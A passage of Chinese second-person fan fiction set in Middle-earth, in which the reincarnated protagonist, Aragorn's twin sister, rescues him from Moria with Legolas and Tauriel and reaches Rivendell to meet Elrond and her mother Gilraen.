一时嘴顺就说出口了,莱戈拉斯轻咳一声,纠正道:“那就是我们的任务。” 陶瑞尔也妥协道:“好吧,那就是我们的任务,我想要说的和莱戈拉斯说的差不多,那就是我们不会让你孤身犯险的,无论如何我们都会陪伴在你身边的。” 话音落下,你们三个就不约而同地都笑了起来,你说:“我很高兴能够结识你们这样忠诚友善的朋友,在我看来朋友是人生中最珍贵的财富。” 你们临时改变路线向着南方前进,关于前进的路线是你们经过认真讨论后敲定了一条最为隐蔽的路线,其他的路线有的可能确实省时但是容易被索伦的爪牙发现,出于种种考虑,最后选定的路线就是最优解。 没有任何犹豫,你们当天就朝着南方出发,路途上莱戈拉斯还兴奋地说:“这还是我第一次去到那么遥远的地方。” 在此之前他的父亲瑟兰迪尔几乎很少允许他去往太过遥远的地方,在他的父亲看来他永远都是需要被保护的孩子,陶瑞尔提醒莱戈拉斯声音小一点,莱戈拉斯笑着说:“如果你们能听见我内心的声音就好了,我的激动如同大海的浪涛声。” 陶瑞尔小声嘟哝一句,“我只能想象到陛下发怒那股惊涛骇浪的声音。” 但陶瑞尔的预测发生了错误,因为得知莱戈拉斯离开密林与你们一道前往幽谷的瑟兰迪尔没有你们想象中的那么愤怒,当然也有可能是因为在你们走后没多久密林就来了一位客人,而且还是一位不期而至的客人。 瑟兰迪尔端起酒杯,朝向那位客人,那位来自纳国斯隆德的领主,同时也是曾经给瑟兰迪尔写过信的吉尔-加拉德,他说:“敬一位意想不到的客人。” 吉尔-加拉德也举起酒杯,“希望我的到来没有给你造成困扰。” 可就算真的造成了困扰那又怎样呢?他会就此离开吗?实际上并不会,瑟兰迪尔在心里想着,面上的表情似笑非笑,“您认为呢?或许在您们看来我们木精灵就应该随时为您们诺多的到访而做好准备是么?” 这话听起来可真不怎么友善,不过好在吉尔-加拉德在决定拜访密林之前就从其他精灵嘴里听说过瑟兰迪尔的事迹,所以对于他说出这番话倒是不会多惊讶,他还能游刃有余地应对,“但无论怎么说我们都是亲族。” 瑟兰迪尔冷哼一声,这一点倒是无可否认,他喝了一口酒,美酒很好抚慰他的心情,他接着又问:“所以您来这里又是为了什么?怎么,难不成您还在担心我将那位人类王室的后代给藏起来了?恕我直言,我每天要 处理的事情那么多,又怎么可能像你想的那样去做这些无关紧要的小事呢?” 吉尔-加拉德不置可否,他说:“我要为我之前在书信中所说的话语道歉。”他也知道自己当初猜到你可能在密林的时候给密林的精灵王写信不免心急了一些,以至于那书信中的言辞颇为尖锐,因此今天瑟兰迪尔还愿意招待他也能够说明他其实没有表面上看起来的那么咄咄逼人。 不过也有可能是因为洛丝罗瑞恩的领主凯勒博恩给瑟兰迪尔写了几封信,凯勒博恩曾经是瑟兰迪尔的父亲欧洛斐尔的旧友,而且在当初瑟兰迪尔丧父后他也多有帮助,因此瑟兰迪尔也十分尊敬凯勒博恩,并将其视为尊重的长辈。 多亏了凯勒博恩写的信件,这才让先前得罪过瑟兰迪尔的吉尔-加拉德得以被准许进入密林,不过准许进入密林是一回事,如实回答吉尔-加拉德的问题就又是另外一回事了。 “那么你这次来就是专程来道歉的?”瑟兰迪尔反问道。 吉尔-加拉德安静地喝了一口酒,不知瑟兰迪尔是有意的还是无意的,招待晚宴上的美酒都是烈酒,如果问密林的二把手加里安这个问题的话,那他就会说他们的陛下肯定是故意的,因为在晚宴开始前他特意嘱咐加里安把原本普通度数的葡萄酒换成烈酒,而且据说他的原话是“越烈的酒越好”。 因此吉尔-加拉德被烈酒呛到也是意料之中的,见状,瑟兰迪尔饶有兴致地挑起一边的眉毛,如同看热闹地关心道:“怎么,喝不惯吗?啊……我忘了,你们喝的酒都和果汁一样,喝不惯也是正常的。” “没有。”吉尔-加拉德马上又说,“这是少见的美酒,得要感谢您专门拿出这样的美酒招待我。” 说着,吉尔-加拉德深呼吸一口气,平复自己的气息,然后又对瑟兰迪尔露出礼貌得体的笑容。 后来吉尔-加拉德又说起凯勒博恩与欧洛斐尔曾经的事迹,谈及自己早已死去的父亲,瑟兰迪尔的态度也逐渐软化,也许是因为酒精的作用,又或许是因为从别的精灵嘴里听到自己父亲的过往让他感慨万千,瑟兰迪尔难得不再对吉尔-加拉德冷嘲热讽,而是很平和地说:“我知道你是为了什么而来的。” 吉尔-加拉德放下酒杯,他将期待的目光投向瑟兰迪尔。 后者缓缓说道:“她已经离开这里了,而且如果她如果真的想要见你的话那她肯定会主动来见你的。” 如果他没有见到你就只能说明一点,那就是你目前还不想见他。 聪明的客人也听出这言外之意,他眉眼间难掩失落神色,但还是问道:“她是什么时候离开的?” “就在不久前,去往幽谷去见她的家人。”瑟兰迪尔又说起你在密林生活的这些年一直都是隐姓埋名的,一来是都不想牵连到密林,二来也是为了韬光养晦,“不过你又是怎么知道她在密林的呢?” 吉尔-加拉德说:“凭我的直觉。”以及加拉德瑞尔夫人的帮助,如果不是因为美丽安王后跟随辛葛王一同西渡前往维林诺了,或许他还能从美丽安口中得到你的消息。 嗯……直觉,瑟兰迪尔思索着,有的精灵确实具有与生俱来的直觉,说不定吉尔-加拉德就是这类精灵里的一员,不过比起这个,他更好奇的是你与纳国斯隆德精灵之间的渊源,“她的父亲阿拉松与你们纳国斯隆德的精灵相识吗?” “不算太熟悉。”实际上在此之前与纳国斯隆德来往最密切的就是多尔罗明的人类了,那是因为多尔罗明曾经的君主与纳国斯隆德的精灵有过一段婚姻,而且还请求纳国斯隆德长久地庇护多尔罗明,这份婚姻以及誓约的影响一直持续到今天。 “所以你是为了一个不相熟的人类的后代而四处奔波?” 瑟兰迪尔这幅探究的态度让吉尔-加拉德产生隐约的不悦,他说:“你是见过那位人类王室后代的,那么你也应该知道她有多么优秀并且才能出众。” “但这都不是重点,埃尔隆德会保护他们那是因为他们是他的弟弟埃尔洛斯的后代,那么您呢?您也和这人类王室有什么沾亲带故的关系吗?” “不……”吉尔-加拉德下意识地否认,“我追寻她是因为命运的安排。” 就如同他与你初见时,他听见命运的低吟一样。 第72章 第72章“您就是幽谷的埃尔隆德…… 你和陶瑞尔还有莱戈拉斯临时决定改变路线,一直向南前进,目的就是那个被其他人视为黑暗之地的莫里亚,因为你们挑选的路线以隐蔽性为重,所以这一趟路程几乎没怎么遇到索伦手下的攻击,按理来说可以用顺利来形容你们的进展,但你总觉得哪里不对劲,因为几千年前你与索伦相处过一段时间,这位堕落迈雅能够成为魔苟斯的得力军师不是没有理由的。 索伦十分擅长利用和玩弄人心,他会抓住对方最在意的人或者事物来设计圈套,而在你之前就有不少人类曾经落入过他的陷阱,直到他遇见了你,反倒是在你这里吃了亏,难怪他会那么记恨你呢,如果他发现你转世重生了,那肯定会毫不犹豫地杀死你的吧?不,也不一定会杀死你,没准会利用你来造成人类内部的灾乱,这都是他能做出来的事情。 想着想着,你就对周围的一切都充满警惕,到达迷雾山脉南部的山脚下时你们暂为休整,你说:“有些不对劲,我们这一路实在是太顺利了。”顺利得过了头,这就显得无比蹊跷。 莱戈拉斯也说:“我也有种感觉,就好像有谁在注视着我们,观察着我们的一举一动。” 你看向迷雾山脉的山顶,这横贯南北将中土大陆分割为不规则两半的山脉常年被迷雾笼罩,因此得名为迷雾山脉,从你这个角度看过去只能看到朦胧的白雾,你可没有精灵那么好的视力,你不得不询问身边的那两个精灵,“你们能看清远方山脉的景象吗?” 毫无疑问地,他们不光能看清山脉的景象,甚至还能看到更远的地方,陶瑞尔说:“可以看清,我看到一匹黑马在山脉间穿梭——” 据你所知马匹好端端地可不会跑到这种地方来,除非是它的主人带它来这边的,而且同时还意味着它的主人就在这附近,莱戈拉斯微微眯起眼睛,“那看上去像是来自洛汗的黑马,不过洛汗很少将他们的宝马赠送给其他人,根据我所了解的,洛汗当初为了感谢幽谷的帮助曾经送了一批小马驹过去。” 莱戈拉斯的话说到这里你差不多就猜到了事情的真相,你那生活在幽谷的双生子哥哥不知为何(大概率是在索伦制造的假象下被欺骗到莫里亚的),总而言之,他从幽谷出发前往莫里亚就为了寻找你的踪迹,这样一来你最近这些天做的噩梦就也全都能连贯起来了。 从小被精灵养大的马匹都很通人性,那匹黑马在被阿拉贡放走以后迟迟没有离开迷雾山脉就是为了解救它的主人,它在山顶徘徊了一段时间,山顶的积雪漫过它的四足,终于,它感知到了其他人的气息,正是你和莱戈拉斯还有陶瑞尔的到来。 黑马朝着你们所在的位置飞奔而来,顾不得太多,它一心只想解救它的主人。 莱戈拉斯说:“它朝着我们飞奔过来了。” “它在向我们求助。”你说出了正确答案,你们也朝着那匹黑马跑去,你们在半山腰处与这匹黑马碰面,精灵能够用精灵语与动物沟通,你早在上一个副本就学会了精灵语,你听着陶瑞尔用精灵语询问黑马这里发生了什么事情,得到的答案正如你们所预料的那样。 黑马的主人是来自幽谷的阿拉贡,听到这里,莱戈拉斯担心地看了你一眼,但只见你面色如常,还能继续用精灵语与黑马交流,询问它阿拉贡是什么时候到达这里的。 这件事情就说来话长了,总的来说就是阿拉贡一连好几天都 做了同样的梦,梦到你深陷险境,并且遇险的地方就在莫里亚。 嗯……这影响梦境的操作倒是和魔苟斯很像,怪不得索伦是魔苟斯的得力助手呢,他们有时候的所作所为都出奇的一致。 只不过你以前见识过魔苟斯的伎俩,知道这些梦境有些是他们捏造出来的,但阿拉贡就不一样了,他毕竟还只是个少年,以前都没有遇到过这种事情,又怎么能要求他保持冷静呢? 简单快速地了解事情的来龙去脉后你们一同朝着莫里亚前进,在黑马的指引下顺利来到曾经的矮人宫殿的侧门,你身边的那两个精灵也是第一次来到矮人的宫殿,他们扫了一眼这座宫殿的宏伟外观,然后得出结论,论华丽程度还是比不上密林附近的矮人王国埃瑞博。 从宫殿的侧门进入内部,中途还发生了一个小插曲,那就是入口的门需要口令才能打开,而且门上面还写着一串精灵的文字,象征着矮人与精灵那一段短暂的友好期,莱戈拉斯和陶瑞尔盯着谜语一样的精灵文字看了许久,最后还是你找到了答案。 “矮人宫殿的门上面为什么会雕刻着精灵的文字?”进到宫殿内莱戈拉斯还忍不住直嘀咕,你说:“也许是因为矮人和精灵在漫长的历史长河中并非一直处于对立状态,偶尔也会有友好期。” 莱戈拉斯笃定地说:“我可不觉得精灵能和矮人成为朋友。” 你凉飕飕地说:“未来的事情又有谁能说得准呢?” 莱戈拉斯不说话了,因为你们这时候恰好穿过矮人宫殿的大厅,那些矮人们往往会将大厅修建得无比高大,以此来表达矮人王都林的尊敬,但这也有个坏处,那就是你们路过大厅的时候总觉得一股若有若无的阴风穿过你们的身边,空气中漂浮着潮湿的气息,以及对于你们来说无比熟悉的气味,那就是半兽人散发出来的恶臭味。 “半兽人的臭味都要把这里给腌入味了。”莱戈拉斯嫌恶道,他倒不怎么讨厌矮人,相较之下他还是更加讨厌半兽人,尤其是他们身上的恶臭味。 忽然之间你看到了什么,连接大厅的长廊通往另外一个房间,那个房间的门半遮掩着,更重要的是,你看见了掉落在地上的匕首,正是那把与你一对的匕首。 你加快脚步跑到那扇门前,弯腰捡起这把匕首,只见匕首的刀锋上还残留着一道又一道的划痕,看得出来他曾经握着这把匕首奋战,那场战斗的激烈程度从断裂的匕首刀尖就能窥见一斑。 “这是……”陶瑞尔一眼就看出这把匕首和你随身携带的匕首是一对的,“我记得你也有一把相似的匕首。” “是的,那是当初我们生日的时候我们的父亲送给我们的礼物。”你将阿拉贡掉落的匕首收起来,然后打开门,只见门内的房间一片狼藉,断裂的刀剑洒满一地,成片成片的箭矢没入木板内和盾牌内,你从混乱的现场中寻找出阿拉贡最后的行踪。 然后得出一个好消息和一个坏消息。 好消息是他躲过了半兽人的攻击,坏消息则是他现在身负重伤很可能死于失血过多。 沿着地面上滴滴答答的血迹走去,但是走到一半那血点子就突然消失了,你推测大概是在这里他使用什么方法强行止住血,以此来避免血迹暴露自己的行踪,非常聪明的举动,但同时也影响到了你们搜救行动。 而就在你们寻找重伤的阿拉贡时,从富有节奏感的,规律的诡异鼓点声就从地面以下的地方传来,陶瑞尔一下子意识到是半兽人出来活动了,肯定是索伦察觉到你们进入了莫里亚,她当机立断,对你说:“我和莱戈拉斯会先挡住那些半兽人的,你快点去寻找你的哥哥吧!” 话音还未完全落下陶瑞尔就带着莱戈拉斯前去迎战,临走前她向你递来一个坚定的眼神,你也没有任何犹豫转身继续寻找阿拉贡,可是在这偌大的宫殿内你又该如何在短时间内找到他呢? 你深吸一口气,曾经的童年记忆又闯入你的脑海,记忆里的阿拉贡对你说:“他们说双生子之间是有心灵感应的,也就是说无论亚玟你在哪里,哪怕是天涯海角我也能找到你,反过来也是一样的。” 而那个时候的你只是不解地反问:“可我又为什么要去找你呢?” 是啊,在你看来这个世界都是一场游戏,你的亲人也更像是安排好的游戏角色,但你这一次却无法像上一个副本那样坚决果断,或许是因为阿拉贡并没有让你特别讨厌的地方,除了有些特别粘人以外,而且他对你来说也没什么威胁,所以你对待他的态度也和对格林的截然不同。 想到这里,你闭上眼睛,试图找到阿拉贡曾经说过的心灵感应,周围的一切都变得好安静,象征着战斗打响的鼓点声逐渐淡去,厮杀的声音也随之消弭,取而代之的是另外一股感觉,那是你不曾感受过的感觉,就好像你在寻找自己缺失的另外一半心灵,这大概就是所谓的心灵感应吧。 你听从内心的声音朝着另外一个方向走去,脚步从一开始的缓慢演变为快步走,最后甚至是小跑,你愈发确定阿拉贡就在那个方向等待着你。 啪嗒啪嗒—— 脚步声回荡在空旷的长廊上,最后在一间密室前戛然而止,你停在这扇门前,这间密室实在是隐蔽,难怪那些半兽人都没有发现这里,你的手搭在石门上,摸索了一阵子都没有找到门把手亦或是钥匙孔,你的手指轻轻地敲着这扇门表面的雕花,仔细观察一圈,发现门缝里有一道凹痕,就像是提前设计好的,你的手指扣着那一道凹痕,拼尽全力才将石门移动几分。 才拉开一条缝那里面浓重的血腥味就争先恐后地涌了出来,你继续用力把这条门缝不断扩大,直到最后你足以看清蜷缩在阴暗角落里的阿拉贡,遍体鳞伤奄奄一息,那样子要多狼狈有多狼狈,你不假思索地走到他身边,先是伸手抵着他的脖颈试探脉搏,还好,还有脉搏。 紧接着你又尝试着将他扶起来,他比你想象的更沉一些,当然也有可能是他现在彻底陷入昏迷,身体肌肉都是紧绷状态,你扶着他走出密室,他身上的血腥味可真够浓重的,让你忍不住嘟哝一声,“这味道也太浓了吧。” 捕捉到你的声音,阿拉贡的眼睫颤抖了几下,连带着手指也跟着动了两下,紧接着他缓慢地睁开双眼,映入眼帘的是你的侧脸,他几乎不敢相信自己的眼睛,这也许又是他的幻觉,又或者是索伦制造的假象,即便心里还在怀疑你的存在是真是假,但从他醒来以后视线就没有从你身上移开过,他呼喊你的名字,声音沙哑,“亚玟……?” 你惊讶地转过头,这才发觉他原来醒过来了,“你醒了?” “你是真的还是假的?”阿拉贡没头没尾地冒出这么一句话,“算了……”就算你是他濒死时想象出来的假象也无所谓了,至少他又一次见到你了。 “阿拉贡,你确定和我久别重逢一上来就问这么愚蠢的问题吗?如果我是假的,那么身受重伤的你又怎么能从那间密室里出来?” 这的确是你说话的语气,闻言,阿拉贡笑了起来,“太好了,你是真的。” “别高兴得太早,还有一群半兽人在后面追着我们呢。”你扶着阿拉贡加快速度,莱戈拉斯闪到你们所在的长廊,着急地对你打了个手势,“走这里——!” 说着,陶瑞尔也跟着出现在你们面前,她二话不说直接扛起重伤的阿拉贡,催促着你们赶紧逃跑,你当即反应过来朝着附近的出口跑去,半兽人的怒吼声不绝于耳,让你一度回到了十年前的那场战争,你偶尔抽空转过身拉开弓箭对准就要追上来的半兽人脑袋就是一箭,将跑在前头的那几个半兽人统统解决你这才又转过身逃跑。 充满光明的出口就在不远处向你们招手,但就在你们即将抵达出口的时候一只高大的半兽人堵住你们的去路,但你丝毫没有停下脚步的意思,甚至还加快自己的速度,双手抄 起那一对匕首,先是一个下腰躲过高大半兽人的斧头,紧接着双脚顺势借着斧头向上跑去,双腿死死锁住他的脖颈,双手的那一对匕首寒光一闪,瞬间就将半兽人的脑袋给搬了家。 莱戈拉斯还很干脆利落地将那颗半兽人头颅踢到一边免得挡路,你们配合得恰到好处。 就这样,你们穿过最近的出口沿着门外的山坡一路向下,身后的半兽人军队依旧对你们求追不舍,你负责在前面开路,莱戈拉斯负责殿后,至于陶瑞尔则是扛着阿拉贡健步如飞,这样的组合让你们找到通往山脉底部的最近一条路线,在半山腰等候的黑马一见到你们就自然而然地为你们带路,甚至中途还一脚踹开了好几只挡路的半兽人,马蹄的冲击力很强,普通半兽人这样挨一下就直接倒地不起,从某种程度上来说它也为你们清扫了许多前进的障碍。 最后你们一路冲到山脚下,你一个翻身坐在马背上,手里牵着缰绳朝着北方幽谷的方向奔去,如果此时在高空俯瞰你们所处的这一片地带的话就会发现你们身后跟着一群乌泱泱的半兽人,这样的追逐战持续了大半天,直到天空中出现巨鹰的身影,那是维拉曼威的仆从,这就代表维拉也在关注着你们的一举一动。 为首的半兽人看见天空中盘旋着的巨鹰,顿时心生怯意,毕竟巨鹰的战斗力远在他们之上,光是巨鹰挥动翅膀带起的风浪就能吹散他们的队形,更别提他们尖锐的鸟喙还有利爪了, 因此那个半兽人首领只能眼睁睁地看着你们在巨鹰的护送下离开。 多亏了巨鹰的突然出现,你们才得以脱险,尽管那些半兽人没再追上来,但你也没有完全放下心来,因为你知道索伦不会那么轻易放弃的,而且还有更重要的一件事情摆在你们面前,那就是身受重伤的阿拉贡现在情况很不妙,他的脸色更加惨白。 陶瑞尔拿出止血的药剂,但因为他的伤口太多,而且先前已经流了太多血,所以现在的补救措施也只是治标不治本,陶瑞尔说道:“如果不能马上得到救治,他很可能会就此死去的。” 说着,她看向你,关于这件事情只有你能做决定,你短暂地思考几秒,然后抬起头看向天空中的巨鹰,按理来说你们在脱离危险以后那些巨鹰也应该离开的,但是现在并没有离开,反而一直停留在天空中,似乎也在等待你的决定。 所以这也是维拉的考验吗?你不由地猜测,而后又对那些巨鹰说:“我恳请您们载我们一程,我们需要尽快去往幽谷。” 其中一只巨鹰飞到你身边,眼瞳注视着你,它问道:“这一次你又为什么要选择救他?就因为他是你的手足吗?” “不需要任何原因,我就只是……不希望他死去而已。”你说,“这就是你们能得到的答案。” 过了一会,那只巨鹰伸出自己的爪子轻轻地抓住阿拉贡,那双锋利的爪子此刻显得那么小心翼翼,不光是阿拉贡,你和陶瑞尔还有莱戈拉斯都在巨鹰的帮助下缩短了去往幽谷所要花费的时间,甚至于就连你们的马匹也跟着搭上这趟顺风车,一并前往幽谷。 在旅途中你隐约听见莱戈拉斯说他还是第一次坐在巨鹰的背上,因为他的话实在是太多了,以至于载着他的那只巨鹰脸色都变得有些不耐烦,心说这个精灵怎么那么话痨。 巨鹰掠过天空的身影很快引起幽谷精灵的注意,他们纷纷探出头来仰望天空看个究竟,这时候精灵视力优越的好处就体现得淋漓尽致,他们对于天空中的景象看得是一清二楚,还能看清巨鹰爪子上的人影正是前不久有事出远门的阿拉贡。 “等等——那不是埃斯泰尔吗?他怎么了?” “他好像是受了重伤,快——快告诉埃尔隆德大人。”有的精灵马上就去通知他们的领主大人,但其实就算不说埃尔隆德也察觉到了天空中的动静。 赶在其他精灵通知他之前,埃尔隆德就急匆匆地从书房里出来,来到宫殿外开阔的广场上,平常幽谷的精灵都会三三两两地在广场上唱歌或是谱曲,但此刻这些享受悠闲午后时光的精灵也都纷纷仰望天空,直到巨鹰降落在这个广场上。 那只带着阿拉贡的巨鹰小心谨慎地将他放在平台上,一时间其他精灵都围了上来,在埃尔隆德的指挥下将阿拉贡转移到病房里,但这还没完,天空中还有几只巨鹰,每只巨鹰的背上都有着一道陌生的身影,埃尔隆德看见其中一道身影不由得愣住,因为你的长相和阿拉贡有六七分相似,这使得埃尔隆德一下子就反应过来你是阿拉贡的双生子妹妹。 你在离地面还有一段距离的时候直接从巨鹰的背上一跃而下,但落地几乎没有什么声音,等你站直身体,埃尔隆德已经走到你面前,他的长相和你先前见到的精灵都不太一眼,不算年轻也不算苍老,临界于一个微妙的中间值,但看他的耳朵你又能确认他是精灵,你后来才知道那是半精灵的特征。 “您就是幽谷的埃尔隆德大人吧?”你先一步开口,你说话的声音倒是和阿拉贡没那么相似。 埃尔隆德顿了顿,“是的,你是……” “显而易见的,我是阿拉贡的双生子妹妹,我想你可能会惊讶于我还活着吧?但事实就是这样,而且我们还在半路上遇到了重伤的阿拉贡,多亏了巨鹰我们才能在短时间内赶到幽谷。”你一口气就将来龙去脉都说完了,你又催促埃尔隆德,“我认为现在您应该先去看看阿拉贡的情况,说实话……他的情况不太乐观。” 短暂的几句话就让埃尔隆德发现你和阿拉贡性格上的不同。 第73章 第73章“他还能再醒过来吗?”…… 埃尔隆德听从你的建议先去查看阿拉贡的情况,至于剩下的事情,完全可以日后慢慢谈。 载了你们一路的巨鹰在广场上停留片刻后就又挥动自己的翅膀离开,你和陶瑞尔站在原地目送这群巨鹰飞离幽谷,莱戈拉斯则是好奇地环视四周,这可是他第一次来到幽谷,这里的一切对他来说都很新奇,无论是景色还是这里的精灵。 幽谷的精灵穿着打扮都与密林的精灵截然不同,而且性格也更加内敛优雅,这是莱戈拉斯仔细观察后得出的结论。 埃尔隆德为了治疗重伤的阿拉贡先行离开,不过他留下了自己的助手林迪尔负责为你们介绍幽谷,这位名叫林迪尔的精灵有着一头柔顺的漆黑长发,五官俊美神色柔和,对你们说话都是轻声细语的,而且面对你们各种千奇百怪的问题都能从容回答(你觉得有必要注明一点的是,大部分问题都是莱戈拉斯问的),至于你问的问题,一只手都能数得过来。 你先是询问你的哥哥阿拉贡在这里生活得怎么样,这其实就算你不问也能从阿拉贡的状态里看得出来,林迪尔说:“埃尔隆德大人将埃斯泰尔当做养子抚养长大。”不光是当成养子,更像是视若己出。 但是说到这里林迪尔微妙地停顿了一下,因为他忽然想起来你当初因为遇到意外没能和阿拉贡一同来到幽谷,在你面前那么说似乎不太好,因此他又补充道:“不过现在您也回来了,我想埃尔隆德大人也会像对待埃斯泰尔那样对待您的。” 埃尔隆德对待你的态度如何你倒不怎么在意,因为你又不是为了埃尔隆德才来的幽谷,你的反应很平淡,比起这个,你更想去见一见你的母亲吉尔蕾恩,于是你下一个问题就是关于你的母亲吉尔蕾恩的,“我的母亲她还好吗?她现在又在哪里呢?” 林迪尔带着你们来到吉尔蕾恩的住所,她在来到幽谷以后就因为对你还有丈夫的思念成疾,卧床修养了一段时间,在那之后她就不怎么离开自己的住所了,平日里也不希望精灵来打扰她的生活,因此她的住所非常安静,你们算是近几年唯一外来访客了。 刚才闹出那么大的动静也没见到到吉尔蕾恩出现,看得出来她对外界 的事情都不怎么关心,这和你记忆里的她不太一样,走到她的住所入口你的脚步忽然停下,你一停下其余三个精灵就都纷纷看向你。 陶瑞尔猜到了什么,也许是太久没有见到自己的亲人,等真正要见面的时候内心反而会产生胆怯的情绪,陶瑞尔握住你的手,她的手掌温暖干燥,她对你笑了一下,像是在鼓励你,“去吧,她肯定也在等待你,我想她见到你一定会很开心的。” 莱戈拉斯也说:“如果我有机会再一次见到我的母亲的话,那我肯定会毫不犹豫地迈出脚步。” 在其他精灵的注视下你走入母亲吉尔蕾恩的住所,这里实在是太安静了,仿佛时间都静止了,你穿过前面的小院子,走在小径上,那条小径的尽头就是吉尔蕾恩住所的入口,你走上前,最后推开住所的大门。 屋内的装饰和你以前居住的城堡布置几乎一模一样,让你有一瞬间的恍惚,你轻轻地呼唤了一声,“母亲……?” 除了你的回声,没有任何别的回应,难道她不在这里吗?但是你听林迪尔说她一直都居住在这里……当你正在沉思的时候耳边忽然由远及近地传来脚步声,你回过头,母亲吉尔蕾恩正站在距离你的不远处,她长久地注视着你,神色不可置信,紧接着她又踉踉跄跄地朝你跑来,嘴里呼唤着你的名字,“亚玟,我的孩子……太好了,你还活着,太好了……” 还没等你说些什么她就将你抱住,“这些年来我一直在向维拉祈祷,请求维拉庇佑我的孩子,让她不要流离失所能够安全长大成人。” 说实话你不觉得你能安然无恙地长大全都是维拉的功劳,毕竟如果向维拉祈祷那么有用的话那这片大陆上都不会存在什么战乱了。 但现在这个时间点并不适合说这些话,你伸出手拍了拍她的后背,你想不到有什么安慰的话语,有的时候拥抱就是最有用的慰藉了,你安静地拥抱着她,感受到她温热的眼泪滑过你的脖颈,她用颤抖的语调诉说着对你的思念与愧疚。 失策了,不该先来看她的,你不擅长安慰人,尤其是安慰正在哭泣的人,你能做的就只是擦去她的眼泪,然后一遍又一遍地告诉她你这些年过得很好,“莉迪亚还有密林的精灵都对我很好。” 姗姗来迟的两位密林精灵恰好听到你说的这句话,陶瑞尔也为你能够与亲人重逢而感到高兴,甚至是喜极而泣,她用手背擦去眼角的泪水,这真是太好了。 好不容易等吉尔蕾恩止住眼泪,你瞧见陶瑞尔和莱戈拉斯也来了,恰好能够利用介绍他们来转移话题,以此来分散吉尔蕾恩的注意力,你说:“他们就是经常照顾我的密林精灵。” 吉尔蕾恩对着陶瑞尔和莱戈拉斯礼貌地笑了一下,而后又说:“对了,你们需要喝些什么吗?我去给你们泡茶吧。” 趁着她去泡茶的功夫你不由地松了一口气,还好她总算是不再哭泣了,否则你会很为难的。 莱戈拉斯说:“她刚才是笑着离开的,真好,你们母女又重逢了。”莱戈拉斯的话语里透出几分羡慕,因为他的母亲在他年幼的时候就早早地因为一场战争而失去性命,尽管对于精灵来说死亡不是永远的分别,他们总有一天能在维林诺再次相遇的,但是在那之前还要经历多少时光,就连莱戈拉斯也不清楚。 吉尔蕾恩很快带着一壶刚刚泡好的茶出现在你们面前,你们暂时在阳台上享受下午茶,如果不说吉尔蕾恩肯定不会知道你们前不久还在莫里亚里经历了一场险象环生的战斗呢。 不过你猜吉尔蕾恩应该能从你们稍显狼狈的装扮上看出一些蛛丝马迹,因此她也没有和你聊太久,等她给你倒的茶水凉了,她也是时候说道:“我想你们应该也要去好好休整一番了吧?” 你们这才从她的住所离开,林迪尔又接着向你们介绍幽谷的其他地方,例如藏书库还有其他的会客厅,最后就是你们居住的客房了。 林迪尔说:“接下来这段时间您们都会居住在这里,如果需要别的什么东西请尽管告诉我,我都会为您们安排好的。” 你在自己的客房里转了一圈,然后又走回到门口,对着站在门外的林迪尔感谢地点点头,“非常感谢您为我们介绍幽谷还有带路。” 林迪尔垂下眼帘,“这都是我应该做的。” 在去见阿拉贡之前你还在浴室里洗去自己身上的血污还有尘土,经历了一场大战的你简直就像是刚刚从泥坑里爬出来一样,而刚才你的母亲吉尔蕾恩居然还能这么长久地拥抱你,你都担心自己身上的血腥味会熏到她。 彻底洗去身上的污渍,确认身上没有别的血腥味的残留后你才换上幽谷精灵为你准备的衣服,那是一件淡蓝色的长袍,质地轻盈柔顺,摸上去很像你在上一个副本经常穿的衣服,精灵非常喜好这种布料,他们的衣服,除了专门的战斗服,大部分都是由这种材质做成的。 换上这条长袍,你站在火炉旁边将头发烘干,而后才离开房间,莱戈拉斯和陶瑞尔还在自己的房间内没出来,你也没有等他们而是直接径直前往阿拉贡所在的病房,虽然你不知道具体位置在哪里,但是一路上走来你遇到了很多好心的精灵为你指路,而且不光是指路,有的精灵还会热情地向你分享阿拉贡小时候的趣事。 这些趣事各有不同,但是到最后他们都会冒出一句相似的总结句,那就是“你和你的哥哥真的很像”。 这话你从小就听许多人说过,没想到换了个地方还得要听精灵再说一遍,你耐着性子听他们说完这些,旋即又露出礼貌的微笑,这时候他们就会发现你和阿拉贡的不同,你的笑容里带着几分疏离,远没有阿拉贡那样的率真。 不过就算是双生子也肯定会存在不同之处的吧?就像埃尔隆德大人的那对双生子儿子不也是这样吗? 和那些好心的精灵暂且道别,你顺着他们给你指的路顺利来到阿拉贡的病房门口,那扇门半开着,负责治疗的精灵进进出出的,不过这些精灵里最忙碌的就要数埃尔隆德了,在为阿拉贡开始治疗到现在他就没有休息过,甚至于就算你来了他也只是抬头看了你一眼,接着又专心为阿拉贡治疗。 你走入房间内,看着躺在病床上紧闭双眼脸色苍白的阿拉贡,埃尔隆德极为擅长医术,但即便如此,面对阿拉贡这样严重的伤势他也只能保证对方能够活下来至于什么时候苏醒,那就得要看他自己的了。 如果放在以前,在上一个副本的时候要是看见个格林这样身受重伤或许你还会觉得松了一口气,但是现在你的内心说不上多轻松,更多的是烦躁。 “他还能再醒过来吗?”你轻声问道。 埃尔隆德过了一会才停下手上的动作,他说:“这取决于他的恢复能力,不过他总会醒过来的,因为我想他肯定也希望早一些再见到你。” 说着,埃尔隆德又看了你一眼 他又询问道:“你有受什么伤吗?” 看他刚才那副严肃认真的模样,你还以为他要问你什么重要的问题呢,你说:“我?我很好,如果是和阿拉贡相比较的话,那我的情况可以说是毫发无损。” 你身上顶多就是有一些擦伤而已,而且这些伤口在到达幽谷之前就已经愈合了,所以就没必要劳烦他来为你治疗伤口。 “关于十多年前的事情我很抱歉。”埃尔隆德开口就是道歉的话,你略带不解地皱起眉毛,因为你并不清楚他在为什么事情而道歉,十几年前可是发生了很多事情的。 “我不明白……” “你的母亲还有你的哥哥,他们从未放弃过寻找你,我想告诉你的是他们始终深爱着你。” 哦,你一下子就明白了他这是在担心你因为多年前的事情而认为自己是不被爱的孩子。 那他真的想得太多了,你倒不至于因为这种事情而暗自神伤,但表面功夫还是得要做一做的,你顺着他的意思说:“我知道,我也从始至终都没有怀疑过他们对我的爱 。” 埃尔隆德平静祥和的眼神注视着你,就感觉有些奇怪,因为如果真的要论起来的话,上一个副本的时候你接触到的精灵都是他的长辈,所以同理可得,你也能算是他的长辈。 而且你的心理年龄摆在那里,被精灵当成小孩子对待,让你感觉到很奇怪,你主动开口:“您也不必用那种同情的眼神看待我,这些年我在密林也度过了一段欢乐的时光,那里的精灵都对我很好。” “是么,不过我听说密林的精灵王性格并没有那么友善。” 瑟兰迪尔的性格得要多糟糕才能让幽谷的精灵都有所耳闻啊,你忍不住在内心默默地说一句。 “我倒不这么认为,因为当初也是他在危难时刻向我们伸出了援助之手,倘若没有他的收留,我和莉迪亚都凶多吉少。” 